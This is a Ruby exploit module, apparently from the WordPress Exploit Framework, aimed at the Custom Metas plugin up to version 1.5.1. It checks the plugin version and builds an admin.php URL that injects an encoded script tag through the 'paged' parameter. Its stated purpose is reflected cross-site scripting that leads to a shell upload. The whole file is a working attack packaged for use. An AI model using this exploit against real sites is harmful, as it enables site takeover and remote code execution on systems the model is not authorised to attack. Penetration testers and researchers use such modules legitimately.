# frozen_string_literal: true

class Wpxf::Exploit::CustomMetasReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Custom Metas <= 1.5.1 Reflected XSS Shell Upload',
      author: [
        'Shravan Kumar', # Disclosure
        'rastating'      # WPXF module
      ],
      references: [
        ['WPVDB', '8456'],
        ['URL', 'http://www.openwall.com/lists/oss-security/2016/04/16/5']
      ],
      date: 'Apr 16 2016'
    )
  end

  def check
    # Product apppears to be EOL as of April 2016, so all versions should be vulnerable.
    check_plugin_version_from_readme('custom-metas')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=custom-metas&paged=%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C/script%3E"
  end
end
